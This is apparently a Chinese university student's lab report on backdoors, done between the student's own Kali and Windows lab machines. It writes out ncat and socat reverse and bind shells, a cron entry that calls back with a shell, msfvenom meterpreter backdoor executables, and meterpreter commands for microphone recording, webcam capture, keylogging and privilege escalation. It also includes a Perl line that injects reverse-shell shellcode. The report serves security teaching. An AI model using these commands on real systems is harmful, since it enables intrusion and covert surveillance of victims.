2019-2020-2 网络对抗技术 20175209 Exp2 后门原理与实践
2019-2020-2 网络对抗技术 20175209 Exp2 后门原理与实践
一、常用的后门工具
1. ncat
ncat是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
Windows获取kali的shell
- 在Windows中查看本机IP地址为
192.168.1.104
- Windows中使用ncat打开监听
ncat.exe -l -p 5209
- 在kali中反弹链接Windows,
ncat 192.168.1.104 5209 -e /bin/sh
,-e
选项用于执行shell - Windows成功获得了kali的shell
kali获得Windows的shell
- kali中
sudo
模式下查看本机ip地址为192.168.1.107
- kali中开启监听
nc -l -p 5209
- Windows中反弹链接kali,
ncat.exe -e cmd.exe 192.168.1.107 5209
- kali成功获得了Windows的shell
kali向Windows中传输文件
- Windows中通过
ncat.exe -l 5209 > file2.out
监听5209
端口,将收到的内容存储在file2.out
中 - kali反弹链接Windows的
5209
端口,nc 192.168.1.104 5209
- 通过
type file2.out
在Windows中查看接收到的内容 - 通过
cat file2.in
在kali中查看发送的内容(这里由于截图问题缺失了一行代码)
Windows向kali中传输文件
- 这一部分的内容详见问题1
使用nc相互传输通信
- Windows下监听
5209
端口,ncat.exe -l 5209
- kali反弹连接到Windows的
5209
端口,nc 192.168.1.104 5209
- 开始相互传输数据
socat
socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版,socat的官方网站:http://www.dest-unreach.org/socat/ 。
socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。
Socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。
socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe, exec, system, open, proxy, openssl, socket等。
Meterpreter
-
后门就是一个程序。
-
传统的理解是:有人编写一个后门程序,大家拿来用。后来有人编写一个平台能生成后门程序。这个平台把后门的
- 基本功能(基本的连接、执行指令),
- 扩展功能(如搜集用户信息、安装服务等功能),
- 编码模式,
- 运行平台,
- 以及运行参数
-
全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
-
典型的平台就包括有:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
-
指令参数说明
-p
使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.-x
使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。-e
使用的编码器,用于对shellcode变形,为了免杀。-i
编码器的迭代次数。如上即使用该编码器编码5次。- -
b
badchar是payload中需要去除的字符。 LHOST
是反弹回连的IPLPORT
是回连的端口-f
生成文件的类型> 输出到哪个文件
有关meterpreter的相关指令和内容较多,更多指令参考老师的课件
二、实验内容
1. 使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
-
Windows下监听
5209
端口 -
kali中,通
crontab -e
指令便捷定时任务,第一次编辑时选择3 -
在打开的文件最后一行添加
11 * * * * /bin/netcat 192.168.1.104 5209 -e /bin/sh
,为了能迅速看到效果,将时间设置为了11分(从左至右参数一次为:分,小时,日,月,年),意思是在每个小时的第11分钟反向连接Windows主机的5209
端口。
-
时间到后,在Windows中可以获取kali的shell,如下图所示(如果使用
ls
命令出现问题,可以使用比较简单的whoami
命令,也能验证)
2. 使用socat获取主机操作Shell, 任务计划启动
-
在Windows中下载socat
-
此电脑
右键选择管理
-
点击
任务计划程序
,再点击创建任务
-
填写一个
名称
,接下来建议大家先编辑操作在设置触发器,因为设置触发器默认会选择就近的时间,当编辑完操作后可能已经错过了触发器的设置时间; -
点击
操作
,在程序或脚本
中选择你的socat.exe文件的路径,在添加参数
一栏填写tcp-listen:5209 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口5209
,同时把cmd.exe的stderr重定向到stdout上;
-
新建一个触发器,选择
按预定计划
,(设置其他也可,可自行选择)
-
创建完成后可以看到任务的状态为准备就绪
-
到达设置的时间19:31后,可以看到socat已经开始运行
-
在kali中输入
socat - tcp:192.168.1.104:5209
(IP为Windows的IP地址,第一个参数 - 代表标准的输入输出,第二个流连接到Windows主机的5209端口)此时可以发现已经成功获得了一个cmd shell(由于输入dir
指令后内容过多,会覆盖获得shell成功的内容,因此没有输入)
3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=5209 -f exe > 20175209_backdoor.exe
,这里的IP地址为控制端kali的IP地址,,在文件管理器中可见已经生成了后门程序“20175209_backdoor.exe”。这里在做的时候遇到了很多的问题,具体参考实验总遇到的问题2。
-
在Windows下执行
ncat.exe -lv 5209 > 20175209_backdoor.exe
指令,通过-lv
选项看到当前的连接状态 -
在kali中执行
nc 192.168.1.104 5209 < 20175209_backdoor.exe
(IP地址为被控主机Windows的IP),传输成功后观察到如下内容:
-
在相应的文件夹下可以查看到
20175209_background.exe
-
在kali上使用
msfconsole
指令进入msf控制台
-
输入
use exploit/multi/handler
使用监听模块
-
设置
set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payload -
set LHOST 192.168.1.107
(Kali的IP), -
set LPORT 5209
,同样要使用相同的端口 -
show options
,查看详细信息
-
输入
exploit
,开始监听
-
在Windows下运行后门程序
20175209_backdoor.exe
,运行前应提前关闭杀毒软件的防护 -
此时在kali中已经获得了Windows的shell,输入
dir
, 可以查看Windows中20175209_backdoor.exe所在目录下的文件信息
-
4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
使用
record_mic
指令可以截获一段音频,使用-d
选项设置录制时间,这里我选择设置时长为10s,-d 10
-
使用
webcam_snap
指令可以使用摄像头进行拍照
-
使用
keyscan_start
指令记录下击键的过程(需要在Windows中进行任意输入),使用keyscan_dump
指令读取击键记录
-
使用
screenshot
指令可以进行截屏
-
使用
getuid
指令查看当前用户
-
使用
getsystem
指令进行提权操作,参考内容
5. 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 这一部分的内容比较困难,参考了各路大神的博客才有所掌握,下面给出两种方法进行
使用msf生成shellcode
-
使用msf生成shellcode并不是一件容易的事情,除了老师给的内容外,我还上网找了一些msf生成shellcode的方法,在linux中和windows中生成有几点不同:
- 有效载荷的不同:Windows中的有效载荷为
windows/meterpreter/reverse_tcp
,而linux中的有效载荷为linux/x86/meterpreter/reverse_tcp
- 文件格式的不同:Windows中很显然为exe,而linux中为elf,可以通过
file filename
进行查看 - 权限的不同:linux中生成的后门程序必须要通过
chmod +x
给程序赋予权限
- 有效载荷的不同:Windows中的有效载荷为
-
在命令行输入命令
msfvenom -p linux/x86/meterpreter/reverse_tcp -x pwn1.bak LHOST=192.168.1.107 LPORT=5209 -f elf > pwn1_exp2
生成后门程序 -
在另一个终端中启动mfs控制台(和任务三中过程相同),注意这时的playload应该为
linux/x86/meterpreter/reverse_tcp
-
输入
exploit
启动监听,在终端中运行pwn1_exp2
即可获取到shell。(这一部分出现的问题见问题4)
从网站上下载shellcode
-
在shellcode网站中下载一个linux/x86平台的shellcode,用于反弹连接(由于无法确保最新版本的会不会存在别的问题,因此选择了和大神们一样的文件)大家在查找时将show设置为120,大概在第二页上部即可找到
-
根据实验一的学习,我们先通过gdb调试找到shellcode的返回地址
0xffffd2d0
, 然后复制出下载的文件中的shellcode机器码,将返回地址添加到最前面,同时生成用于注入的input_shellcode
文件,具体代码如下:
perl -e 'print "A" x 32;print"\xd0\xd2\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
- 在新终端b中启动
msfconsole
,执行和任务3中同样的指令打开监听
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444 ##在下载的图中有标注相应的IP地址和端口号
show options
exploit
- 在终端a中通过管道符对
input_shellcode
进行注入,执行(cat input_shellcode;cat) | ./pwn1
,可以看到能够成功运行
三、问题回答
-
例举你能想到的一个后门进入到你系统中的可能方式?
- 在浏览网页时,再次点击网页中点击其他的链接或者在网站中下载的程序时都有可能将后门程序带入自己的电脑中,同时安装程序时的捆绑程序中也可能包含后门程序。
-
例举你知道的后门如何启动起来(win及linux)的方式?
- Windows:和Windows某些开机自启动项进行捆绑,开机时可以自启动,修改Windows的注册表项
- Linux:本次实验中的通过
crontab
设置定时启动以及捆绑注入
-
Meterpreter有哪些给你映像深刻的功能?
- 除了本次实验中设计的执行指令,获取被控主机的录音、录像、截图、键盘输入记录等;还有从目标机上对相关的文件进行下载和上传,远程操控目标机上的程序运行。
-
如何发现自己有系统有没有被安装后门?
- 在终端中通过
netstat
命令查看有无异常开放的端口 - 通过杀毒软件对系统进行扫描和检测
- 定期检查自启动项中是否有新增的或者自己不知道的自启动项。
- 在终端中通过
四、实验中遇到的问题及解决
Qusetion1 nc从Windows想kali中传输文件时出错(暂时未解决)
-
针对上述问题,在网上查找了相关资料,原因可能为kali虚拟机的ssh服务端口没有打开,参考链接,我尝试打开22号端口。
-
输入
net -tlnp
命令查看已经开放的端口号,观察到相应的端口已经开启
-
重启了kali虚拟机后,再次尝试传送,发现仍然提示相同的错误
-
正在积极寻找下一步解决方案
Question2 生成可执行文件时出现msfconsole启动失败的问题
-
首先查找到的资料中给出的原因是bundler版本不一致造成的,需要下载旧版本,输入
gem install bundler:1.17.3
下载
-
如果上一步能成功下载的同学那么要恭喜你了,因为我自己在下载是一直提示的是连接网站超时,无法进行下载(但是有和我用同一款kali的同学可以正常安装,我也没搞清楚到底是为什么),进一步查找的资料给出的原因是国内网络导致rubygems.org存放在Amazon S3上面的资源文件间歇性连接失败,按照其中的指导更换成国内的官方镜像时也提示ssl证书已经过期,也无法安装
-
再查找资料时发现上一个资料里面给出的官方的RUbyGems镜像不再维护了,更换成Ruby China的镜像,终于可以成功了(我真是太难了!!)
Question3 Windows10中提权失败的问题
- 这一部分的内容我自己找到的资料执行起来也都存在问题,因此参考了20175215丁文韬同学的博客,也是在娄老师的win7中进行的。
Question4 关于mfs生成shellcode的问题
-
刚开始时我参考了老师给的资料和自己查到的内容输入的命令为
msfvenom -p linux/x86/meterpreter/reverse_tcp -x pwn1.bak -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.1.107 LPORT=5209 -f elf > pwn1_exp2
, 通过ls
命令查看后发现成功生成了pwn1_exp2
,赋予权限后在运行时却发现无法监听到shell
-
仔细看发现在生成的时候出现了字符编码的问题,查看资料后发现了控制编码的参数
-e
和-b
,还有-i
为控制编码次数的参数,将这三个参数及后面的内都去掉后,再次监听并运行即可成功获取shell
Question5 kali中msf自动开始监听
- 这里我还出现了另一个问题是我在监听kali中的pwn1_exp2时,还没有开始运行,但是却自动对主机中的
20175209_bcakdoor.exe
进行了监听,而主机的后门程序并没有运行,导致虚拟机一直在不断尝试监听,反复向主机5209端口发起监听,然后我的虚拟机和主机就都爆炸了(由于实在卡死了也无法截图),只能强行关机了。这个问题还不知道产生的原因。
五、实验心得体会
通过本次实验学习到了后门的基本原理,掌握了后门的生成过程和注入方式,对一些常用的后门程序和命令有了比较基础的掌握。
在本次实验中遇到了很多问题,也花费了大量的时间去查找相关的资料,学习到了一些实验内容之外的东西,我觉得这些在实验过程中也是很有意义的内容,了解了更多meterpreter的知识。
通过本次自己亲自动手实践我也了解到了后门功能的强大性和危害性,因此对于后门的防范的重要性也不言而喻。
希望更多掌握这些知识的人能够用其作为维护网络和信息的安全,用来保护国家的安全。
六、参考资料
0x21_MAL_后门原理与实践.md
kali虚拟机开启ssh服务
rubygems.org下载时连接间歇性失败
安装bundler最终解决方法
shellcode下载地址
2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践
2019-2020-2 20175215丁文韬《网络对抗技术》Exp2 后门原理
Meterpreter学习资料
mfs中生成shellcode学习